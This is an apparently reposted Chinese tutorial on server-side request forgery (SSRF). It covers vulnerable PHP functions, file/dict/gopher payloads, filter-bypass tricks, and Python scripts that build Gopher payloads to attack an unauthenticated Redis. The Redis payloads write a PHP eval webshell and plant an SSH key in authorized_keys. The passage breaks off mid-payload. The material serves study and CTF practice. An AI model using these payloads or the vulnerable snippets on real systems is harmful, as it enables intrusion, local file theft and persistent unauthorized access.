----已搬运----【总章程】SSRF完全学习,,什么都有,,,原理,绕过,攻击

在这里插入图片描述

1.漏洞详情:

SSRF - (Server-side Request Forge , 服务器请求伪造)

一般用来 外网探测 或 攻击内网服务。

SSRF(Servier-side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成 并由 服务器发起恶意请求的一个安全漏洞。正是因为是恶意请求由服务端发起,而服务端能够请求到与自己相连但是与外网隔绝内部网络系统

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能,但是没有对目标地址做过滤和限制。例如,黑客操作服务端从指定URL地址获取网页内容,加载指定地址的图片,下载等,利用的就是 服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程或本地的服务器

如下图所示,服务器Ubuntu为WEB服务器,可被攻击者访问,内网中的其他服务器无法被攻击者直接访问。假设服务器Ubuntu中的某个WEB应用存在SSRF漏洞,那我们就可以操作这个WEB服务器去操作这个WEB服务器去读取本地的文件,探测内网主机存活、探测内网主机端口等, 如果借助相关的网络协议,我们还可以攻击内网中的Redis、Mysql、FastCGI 等应用,WEB服务器在整个攻击过程中被最为中间人进行利用。
在这里插入图片描述

容易出现SSRF的地方有:

  1. 社交分享功能:获取超链接的标题等 内容进行显示。
  2. 转码服务: 通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译: 给网址万一对应网页的内容。
  4. 图片加载 / 下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
  5. 图片 / 文章收藏功能:主要其会取URL地址中的title以及文本的内容作为显示,以求一个好的用户体验
  6. 云服务厂商: 它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的ur进行一些信息采集工作
  8. 数据库内置功能: 数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理、属性信息处理、文件处理:比如 ffpmg , ImageMagick , docx , pdf , xml 处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能: 可以利用 google 语法加上这些关键字去寻找 SSRF 漏洞。 一些的url中的关键字有: share、wap、url、 src、source、target、u、3g、dispaly、sourceURL、imageURL、domain …
  12. 从远程服务器请求资源

SSRF漏洞的危害:

  1. 外网服务器所在内网服务器本地进行端口扫描,获取一些服务的banner信息等。
  2. 攻击运行在内网或服务器本地的其他应用程序,如redis、mysql、fastcgi等。
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  4. 攻击内外网的Web应用,主要是使用 HTTP GET/POST 请求就可以实现的攻击,如sql注入、文件上传等。
  5. 利用 file 协议读取服务器本地文件等。
  6. 进行跳板攻击等。

2. SSRF漏洞相关函数和类

  • file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
  • readfile() :输出一个文件的内容。
  • fsockopen():打开一个网络连接或者一个 Unix 套接字连接。
  • curl_exec():初始化一个新的会话,返回一个 CURL 句柄,供 curl_setopt() , curl_exec()和 curl_close() 函数使用。
  • fopen() :打开一个文件或者URL
  • curl() :
  • SoupClient 类

2.1 file_get_contents()

测试代码:

// ssrf.php
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

上述测试代码中,file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户,我们构造类似ssrf.php?url=../../../../../etc/passwd的paylaod即可读取服务器本地的任意文件。
在这里插入图片描述
也可以进行远程访问。

在这里插入图片描述
readfile()函数与file_get_contents()函数相似。

2.2 fsockopen()

fsockopen($hostname,$port,$erron,#errstr,$timeout)用于打开一个网络连接或者一个Unix套接字连接,初始化一个套接字连接到指定主机(hostname),实现用户对指定url数据的获取。该函数会使用 socket 跟服务器建立tcp连接,进行传输原始数据。
fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用,(例如:fgets() , fgetss() , fwrite() ,fclose() 还有 feof() )。如果调用失败,将返回 false。

测试代码:

<?php
host = $_GET['url'];
$fp = fsockopen($host,80,$errno,$errstr,30);
if(!$fp)
{
	echo "errstr($errno)<br/>\n";
}
else
{
	$out = "GET / HTTP/1.1\r\n";
	$out .= "HOST: $host\r\n";
	$out .= "Connection: Close\r\n\r\n";
	fwrite($fp,$out);
	while(!feof($fp))
	{
		echo fgets($fp,128);
	}
	fclose($fp);
}

GET方法,就这三行就够了,差不多都能够通用吧,HTTP请求+Host+Connection

构造 ssrf.php?url=www.baidu.com 即可成功触发ssrf并返回百度主页:
在这里插入图片描述
但是该函数的SSRF无法读取本地文件。

但是能够扫描端口呀,也不错的。

在这里插入图片描述

2.3 curl_exec()

curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

测试代码:

// ssrf.php
<?php 
if (isset($_GET['url'])){
	$link = $_GET['url'];
	$curlobj = curl_init(); // 创建新的 cURL 资源
	curl_setopt($curlobj, CURLOPT_POST, 0);
	curl_setopt($curlobj,CURLOPT_URL,$link);
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
	$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
	curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
 
	// $filename = './curled/'.rand().'.txt';
	// file_put_contents($filename, $result); 
	echo $result;
}
?>

构造 ssrf.php?url=www.baidu.com 即可成功触发ssrf并返回百度主页:
在这里插入图片描述
也可以使用file协议读取本地文件:

在这里插入图片描述

2.4 SoapClient

SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于XML的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是基于 SOAP 协议可专门用来访问 WEB 服务的 PHP 客户端。

SoapClient 是一个 php 的内置类,当其进行反序列化时,如果触发了该类中的__call方法,那么 __call 方法便可以发送 HTTP和HTTPS请求,该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options])
  • 第一个参数用来指明是否时 wsdl 模式。
  • 第二个参数为一个数组,如果在 wsdl 模式下,此参数可选; 如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location时要将请求发送到的SOAP服务器的 URL ,而 uri 时SOAP 服务的目标命名空间。

知道上述两个参数的含义之后,就很容易构造出 SSRF 的利用 payload 了。我们可以设置第一个参数为 null ,然后第二个参数为一个包含 location 和 uri 的数组,location 选项的值设置为 target_url :

// ssrf.php
<?php
$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

47.xxx.xxx.72监听2333端口,访问ssrf.php,即可在47.xxx.xxx.72上得到访问的数据

在这里插入图片描述

如上图所示,ssrf触发成功.

由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在crlf漏洞,那么我们就可以进行ssrf+crlf,注入或修改一些http请求头,详情请看:《SoapClient+crlf组合拳进行SSRF》

2.5 SSRF漏洞利用的相关协议

SSRF 漏洞的利用所涉及的协议有:

  • file协议: 在有回显的情况下, 利用 file 协议可以读取任意文件的内容。
  • dict 协议: 泄露安装版本软件版本内容, 查看端口,操作内网 redis 服务等。
  • gopher 协议: gopher 支持发出 GET 、POST请求。可以先截获get请求包和post请求包,再构造符合 gopher 协议的请求。gopher协议 时 ssrf 利用中一个强大的协议(俗称万能协议)。可用于反弹shell。
  • http/s 协议: 探测内网主机存活。

下面我们对这些协议的利用进行逐一演示。

3.常见利用方式(file、http/s和dict协议)

SSRF的利用主要就是读取内网文件探测内网主机存活扫描内网端口攻击内网其他应用等,而这些利用的手法无一不与这些协议息息相关。

以下几个演示所用的测试代码:

// ssrf.php
<?php 
if (isset($_GET['url'])){
	$link = $_GET['url'];
	$curlobj = curl_init(); // 创建新的 cURL 资源
	curl_setopt($curlobj, CURLOPT_POST, 0);
	curl_setopt($curlobj,CURLOPT_URL,$link);
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
	$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
	curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
 
	// $filename = './curled/'.rand().'.txt';
	// file_put_contents($filename, $result); 
	echo $result;
}
?>

3.1 读取内网文件(file 协议)

我们构造如下payload,即可将服务器以及网站的源码读取出来:

ssrf.php?url=file:///etc/passwd
ssrf.php?url=file:///var/www/html/flag.php

在这里插入图片描述

3.2 探测内网主机存活(http/s协议)

一般是先想办法获得到目标主机的网络配置信息,如读取 /etc/hosts/proc/net/arp/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。

域网IP地址范围分为三类,一下IP段为内网IP段:

C类: 192.168.0.0 - 192.168.255.255
B类: 172.16.0.0 - 172.31.255.255
A类: 10.0.0.0 - 10.255.255.255

测试环境如下:

在这里插入图片描述
假设 WEB 服务器 Ubuntu 上卖弄存在上述所说的SSRF漏洞, 我们构造如下 payload , 便可通过Ubuntu服务器发送请求去探测内网存活的主机:

ssrf.php?url=http://192.168.52.1
ssrf.php?url=http://192.168.52.6
ssrf.php?url=http://192.168.52.25
......

为了方便,我们可以借助burpsuite的Intruder模块进行爆破,如下所示:
在这里插入图片描述
在这里插入图片描述
将爆破的线程尽可能设的小一些。开始爆破后即可探测到目标内网中存在如下两个存活的主机(192.168.52.130和192.168.52.131):

在这里插入图片描述

3.3 扫描内网端口(http/s和dict协议)

同样是上面那个测试环境.
在这里插入图片描述
我们利用dict协议构造如下payload即可查看内网主机上开放的端口以及端口上运行服务的版本信息等:

ssrf.php?url=dict://192.168.52.131:6379/info   // redis
ssrf.php?url=dict://192.168.52.131:80/info     // http
ssrf.php?url=dict://192.168.52.130:22/info   // ssh

在这里插入图片描述
在这里插入图片描述
同样可以借助burpsuite来爆破内网主机上的服务。

4. 相关绕过姿势

对于SSRF的限制大致有如下几种:

  • 限制请求的端口只能够是 Web 端口, 只允许 HTTP和HTTPS的请求。
  • 限制域名只能是 http://www.xxx.com
  • 限制不能访问的内网的IP,以防止对内网进行攻击。
  • 屏蔽返回的详细信息。

4.1 利用HTTP基本身份认证的方式绕过

如果目标代码限制访问的域名只能为 http://www.xxx.com ,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com

@ 会把后面的当作域名。

4.2 利用302跳转绕过内网IP

绕过对内网IP的限制,我们可以采用302跳转的方法,有一下两种。

一、

网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:

当我们访问:http://127.0.0.1.xip.io/flag.php 时,实际上访问的是http://127.0.0.1/1.php 。像这种网址还有 http://nip.iohttp://sslip.io

如下示例(flag.php仅能从本地访问):
在这里插入图片描述

二、

短地址跳转绕过,这里也给出一个网址: https://4m.cn/:
在这里插入图片描述
直接使用生成的短连接 https://4m.cn/FjOdQ 就会自动302跳转到 http://127.0.0.1/flag.php 上,这样就可以绕过WAF了:

4.3 进制的转换绕过内网IP

可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个从网上扒的php脚本可以一键转换:

但是换进制了,我打不通啊,,

<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
    $r += 4294967296;
}
echo "十进制:";     // 2130706433
echo $r;
echo "八进制:";     // 0177.0.0.1
echo decoct($r);
echo "十六进制:";   // 0x7f.0.0.1
echo dechex($r);
?>

4.4 其他各种指向127.0.0.1的地址

http://localhost/         # localhost就是代指127.0.0.1
http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://0.0.0.0/       # 0.0.0.0这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

4.5 利用不存在的协议头绕过指定的协议头

file_get_contents() 函数的一个特性,即当PHP的 file_get_contents() 函数在遇到不认识的协议头的时候会将整个协议头当作文件夹,造成目录穿越漏洞,这时候只需要不断往上跳转目录即可读取到根目录的文件(include()也有这个特定)

测试代码:

// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
    die("no hack");
}
echo file_get_contents($_GET['url']);
?>

上面的代码限制了 url 只能是以 https 开头的路径,那么我们就可以:

httpsssssss://

此时file_get_contents() 函数遇到了不认识的伪协议头 “httpssssssss://”,就会把他当作文件夹,然后再配合目录穿越即可读取文件:

ssrf.php?url=httpsssss://../../../../../../etc/passwd
ssrf.php?url=httpsssss://abc../../../../../../etc/passwd

在这里插入图片描述
这个方法可以在SSRF的中众多伪协议被禁止并且只能够使用它规定的某些协议的情况下来进行读取文件。

4.6 利用URL的解析问题

该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为《A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages》的分享,主要是利用 readfile 和 parse_url 函数的解析差异以及 curl 和 parse_url 解析差异来进行绕过哦。

4.6.1 利用 readfile 和 parse_url 函数的解析差异绕过指定的端口。也可绕过域名限制,

测试代码:

// ssrf.php
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){  // 这里限制了我们传过去的url只能是80端口的
	readfile($url);
} else {
	die('Hacker!');
}

用python在当前目录下起一个端口为11211的WEB服务

python -m SimpleHTTPServer 11211

在这里插入图片描述

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过.

ssrf.php?url=127.0.0.1:11211:80/flag.txt

在这里插入图片描述
如上图所示成功读取了11211端口中的flag.txt文件,下面用BlackHat的图来说明原理:

在这里插入图片描述
从上图中可以看出readfile()函数获取的端口是最后冒号前面的一部分(11211),而parse_url()函数获取的则是最后冒号后面的的端口(80),利用这种差异的不同,从而绕过WAF。

这两个函数在解析host的时候也有差异,如下图.
在这里插入图片描述
readfile()函数获取的是@号后面一部分(evil.com),而parse_url()函数获取的则是@号前面的一部分(google.com),利用这种差异的不同,我们可以绕过题目中parse_url()函数对指定host的限制。

4.6.2 利用 curl 和 parse_url 的解析差异绕过指定的host

原理如下:

在这里插入图片描述
上图中可以看到 curl() 函数解析的是第一个 @ 后面的网址,但是 parse_url() 函数解析的是第二个 @ 后面的网址,利用这个原理,我们可以绕过题目中 parse_url() 函数指定 host 的限制。

测试代码:

<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);# http://sdf/asf
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url); # 经过parse_url获取 hostname,也就是获取的后面那一块
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
}
function safe_request_url($url)
{
    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}
$url = $_GET['url'];
if(!empty($url)){
    safe_request_url($url);
}
?>

上述代码可以看到:chech_inner_ip()函数通过url_parse()函数检测是否为内网,如果不是内网IP,则通过curl()请求url,并且返回结果,我们可以利用 curl 和 parse_url 解析的差异不同来绕过这里的限制,让 parse_url() 处理外部啊网站网址,最后 curl() 请求内网网址, payload 如下:

ssrf.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php

在这里插入图片描述
不过这个方法在Curl较新的版本里被修掉了,所以我们还可以使用另一种方法,即0.0.0.00.0.0.0 这个IP地址表示整个网络, 可以代表本地 IPV4 的所有地址, 只用如下可以绕过:

ssrf.php?url=http://0.0.0.0/flag.php

但是这只适用于Linux系统上,Windows系统的不行。

5.常见攻击方式(Gopher协议)

5.1 Gopher协议在SSRF中的利用

Gopher是Internet上非常有名的信息查找系统,它将 Internet 上的文件组织成为某种索引,很方便地将用户从 Internet 的一处带到另一处。在WWW出现之前,Gopher是Internet上最重要的信息检索工具,Gopher站点也是最主要的站点,使用 TCP 70 端口。 但在 WWW 出现之后, Gopher失去了昔日的辉煌

现在的Gopher协议已经很少有人再去使用它了。但是该协议在SSRF中去可以发挥巨大的作用,可以说是 SSRF 中的万金油。 由于Gopher协议支持发出 GET 、 POST 请求,我们可以先解惑GET请求包和POST请求包,在构造符合Gopher协议请求的payload 进行 SSRF 利用,甚至可以用它来攻击内网中的 Redis 、 Mysql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面。

5.1.1 Gopher协议格式
URL: gopher://<host>:<port>/<gopher-pach>_后接TCP数据流

# 意思是以浏览器的Web应用的身份(也就是本机),向 host的port 发送 后面的 数据请求,一般后面的数据,会是一个HTTP数据包,就模仿内网中的主机访问内网,就实现了SSRF 了

# 注意不要忘记后面那个下划线 _ ,下划线 _ 后面才开始 接TCP流,如果不加整个 _ 那么服务器接收到的消息将不再是完整的,该字符可以随意写。
  • gopher的默认端口是 70 , 意思就是说这个port都是要写的,不想apache那样给默认刚好是80,
  • 如果发起POST请求,回车换行需要用%0d%0d来替换%0a,如果多个参数,参数之间的&也需要进行URL编码

那么如何利用Gopher发送HTTP的请求呢?例如GET请求。我们直接发送一个原始的HTTP包不就行了吗。在gopher协议中发送HTTP的数据,需要以下三步:

  1. 抓取或者构造HTTP数据包
  2. URL编码、将回车换行符%0a替换为%0d%0a
  3. 发送符合gopher协议格式的请求

在这里插入图片描述

5.1.2 利用Gopher协议发送HTTP GET请求

测试代码:

// echo.php
<?php
echo "Hello ".$_GET["whoami"]."\n"
?>

接下来我们构造payload。一个典型的GET型的HTTP包类似如下:注意后面有个 回车换行符,

GET /aa/echo.php?whoami=adam HTTP/1.1
Host: 47.xx.xxx.181


然后利用以下脚本进行一步生成符合Gopher协议格式的payload:

这个直接就是已经二次URL编码了。(Host随便写的,不影响。)

import urllib.parse
payload="""GET /ssrf_is_ok HTTP/1.1
Host: 151x.x.x.x.x.x
Connection: close

	
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.111:80/_'+new
result = urllib.parse.quote(result)
result = result.replace('%0A','%0D%0A')
print(result)

生成如下payload:

gopher%3A//127.0.0.111%3A80/_GET%2520/ssrf_is_ok%2520HTTP/1.1%250D%250AHost%253A%2520151x.x.x.x.x.x%250D%250AConnection%253A%2520close%250D%250A%250D%250A%2509%250D%250A

在这里插入图片描述
查看日志:已经有了 127.0.0.1,本地攻击生效了。

在这里插入图片描述
这里的 port 通常是 127.0.0.1。因为这个表示往哪个网站发包,通常,还可以是内网的主机IP和对应的端口。就是实现了,SSRF。这里我没有内网,,,然后打一下自己的IP看看,因为如果不是127.0.0.1或者不是我的vps的IP的话,我都收不到,因为就是向host主机发送gopher后面的数据包的,

下面,我假设我的vps的ip就是该内网的一个主机的ip,看看效果:

监听555端口(模拟内网主机开的是5555端口)

在这里插入图片描述,,算了,怕漏IP,不演示了。就是 这个host 和port要看内网的机子的情况,

CTF中通常是打自己,也就是127.0.0.0 的其他 网站,(不同的PHP文件),然后就是127.0.0.1就好了。

5.1.3 利用Gopher协议发送HTTP POST请求

接下来我们构造payload。一个典型的POST型的HTTP包类似如下:

这四条是必须有的,

POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.72
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

whoami=Bunny

注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“whoami=Bunny”的长度。

在这里插入图片描述
查看日志,成功!

在这里插入图片描述

6. 攻击内网Redis (这个没有自己装环境,也没有看到题目,所以没学,只是机械地把大佬的博客搬运了一下)

在这里插入图片描述
Redis是数据库的意思。 Redis(Remote Dictionary Server)即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存,亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

什么是Redis未授权访问?
Rdis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如:添加防火墙规则,避免其他非信任来源 IP 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令, 可以进行 写文件操作 ,攻击者可以将自己的 ssh 公钥 写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对那个私钥直接使用ssh服务登陆目标服务器。

简单说,漏洞产生条件由一下两点:

  • Redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等安全策略,直接暴露在公网上。
  • 没有设置密码认证(一般为空),可以免密码远程登陆redis服务。

在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放 6379 端口, 则目标主机上很有可能存在 Redis 服务。此时,如果目标主机上 Redis 又没有设置密码验证、没有进行添加防火墙等原因,存在未授权访问漏洞的话,那我们就可以利用 Gopher 协议来远程操纵目标主机上的 Redis ,可以利用 Redis 自身的提供的 config 命令向目标主机写 Webshell、写 SSH 私钥、创建计划任务反弹 Shell等,其思路都是一样的:
就是先将 Redis 的本地数据库存放目录设置为 Web 目录、 ~/.ssh目录或 /var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名,你想要写入的文件名称, 最后再执行 save 或 bgsave 保存,则我们就指定的目录里写入指定的文件了。

下面我们对攻击Redis的手法进行演示。测试环境如下,内网中其他主机均有外网IP并可以上网:
在这里插入图片描述在上文扫描内网端口的实验中,我们发现了内网中有一个IP为192.168.52.131的主机在6379端口上运行着一个Redis服务,下面我们就用它来演示,通过Ubuntu服务器上的SSRF漏洞去攻击内网主机(192.168.52.131)的Redis。

6.1 绝对路径写WebShell

首先构造 Redis 命令:

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

然后写一个脚本,将其转化为Gopher协议的格式(脚本时从网上嫖的,谁让我菜呢~~~大佬勿喷):

import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

执行后生成payload如下:

在这里插入图片描述

这里将生成的payload要进行url二次编码(因为我们发送payload用的是GET方法),然后利用Ubuntu服务器上的SSRF漏洞,将二次编码后的payload打过去就行了:

ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如下所示,成功在主机192.168.52.131上面写入WebShell:

在这里插入图片描述然后就可以连接shell了

6.2 写入 SSH 公钥(这个SSH我也没有搞明白,,)

同样,我们也可以直接这个存在Redis未授权的主机的/.ssh目录下写入SSH公钥,直接实现免密登录,但前提是/.ssh目录存在,如果不存在我们可以写入计划任务来创建该目录。

构造redis命令:

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

然后编写脚本,将其转化为Gopher协议的格式:

import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去:

ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524568%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E%2F45IEs%2F9a6AWfXb6iwzo%252BD62y8MOmt%252Bsct27ZxGOcRR95FT6zrfFxqt2h56oLwml%2FTrxy5sExSQ%2FcvvLwUTWb3ntJYyh2eGkQnOf2d%252Bax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH%2F4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd%2FbWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ%2FNnHKyWtI%2FOzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe%252BXqQnjxtk4giopiFfRu8winE9scqlIA5Iu%2Fd3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg%2FOOhoA3iKNhJ%2FJT31TU9E24dGh2Ei8K%252BPpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl%252BSOsVHpNqwFcrgsq%2FWR5BGqnu54vTTdJh0pSrl%252BtniHEnWWU%253D%2520root%2540whoami%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%2